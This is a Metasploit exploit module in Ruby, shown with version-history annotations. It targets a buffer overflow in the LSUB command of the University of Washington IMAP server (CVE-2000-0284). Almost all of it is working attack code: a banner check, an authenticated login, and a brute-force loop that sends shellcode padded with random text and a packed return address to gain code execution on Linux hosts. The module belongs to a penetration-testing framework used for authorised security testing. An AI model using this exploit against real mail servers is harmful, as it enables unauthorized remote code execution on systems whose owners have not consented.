2008-07-06 08:27:41 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-03-26 19:00:23 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-07-06 08:27:41 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-07-06 08:27:41 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2008-07-06 08:27:41 +00:00
|
|
|
|
2009-12-29 22:57:02 +00:00
|
|
|
include Msf::Exploit::Brute
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Imap
|
2008-07-06 08:27:41 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-03-26 19:00:23 +00:00
|
|
|
super(update_info(info,
|
2008-07-06 08:27:41 +00:00
|
|
|
'Name' => 'UoW IMAP server LSUB Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-03-26 19:00:23 +00:00
|
|
|
This module exploits a buffer overflow in the 'LSUB'
|
2008-07-08 14:21:48 +00:00
|
|
|
command of the University of Washington IMAP service.
|
2008-07-06 08:27:41 +00:00
|
|
|
This vulnerability can only be exploited with a valid username
|
|
|
|
and password.
|
|
|
|
},
|
2010-03-26 19:00:23 +00:00
|
|
|
'Author' => [ 'patrick', 'jduck' ],
|
2008-07-06 08:27:41 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-27 14:05:23 +00:00
|
|
|
[ 'CVE', '2000-0284' ],
|
2008-07-06 08:27:41 +00:00
|
|
|
[ 'OSVDB', '12037' ],
|
|
|
|
[ 'BID', '1110' ],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/284' ],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 964,
|
2009-12-29 22:57:02 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d\x2f",
|
2008-07-06 08:27:41 +00:00
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
2010-03-26 19:00:23 +00:00
|
|
|
'Platform' => 'linux',
|
|
|
|
'Targets' =>
|
2008-07-06 08:27:41 +00:00
|
|
|
[
|
2009-12-29 22:57:02 +00:00
|
|
|
# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
|
|
|
|
[ 'Linux Bruteforce',
|
2010-03-26 19:00:23 +00:00
|
|
|
{
|
2009-12-29 22:57:02 +00:00
|
|
|
'Platform' => 'linux',
|
|
|
|
'Offset' => 1064,
|
2010-03-26 19:00:23 +00:00
|
|
|
'Bruteforce' =>
|
2009-12-29 22:57:02 +00:00
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xbffffdfc },
|
|
|
|
'Stop' => { 'Ret' => 0xbfa00000 },
|
|
|
|
'Step' => 200
|
|
|
|
}
|
2010-03-26 19:00:23 +00:00
|
|
|
},
|
2009-12-29 22:57:02 +00:00
|
|
|
]
|
2008-07-06 08:27:41 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 16 2000',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
if (banner =~ /IMAP4rev1 v12.264/)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2009-12-29 22:57:02 +00:00
|
|
|
def brute_exploit(addresses)
|
|
|
|
print_status("Trying 0x%.8x ..." % addresses['Ret'])
|
2010-03-26 19:00:23 +00:00
|
|
|
|
|
|
|
if (not connect_login)
|
|
|
|
raise RuntimeError, "Unable to log in!"
|
|
|
|
end
|
|
|
|
|
2009-12-29 22:57:02 +00:00
|
|
|
req = "a002 LSUB \"\" {%d}\r\n" % target['Offset']
|
2008-07-06 08:27:41 +00:00
|
|
|
sock.put(req)
|
2009-12-29 22:57:02 +00:00
|
|
|
buf = sock.get_once
|
2010-03-26 19:00:23 +00:00
|
|
|
|
2009-12-29 22:57:02 +00:00
|
|
|
sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n"
|
2008-07-06 08:27:41 +00:00
|
|
|
sock.put(sploit)
|
2010-03-26 19:00:23 +00:00
|
|
|
|
2008-07-06 08:27:41 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|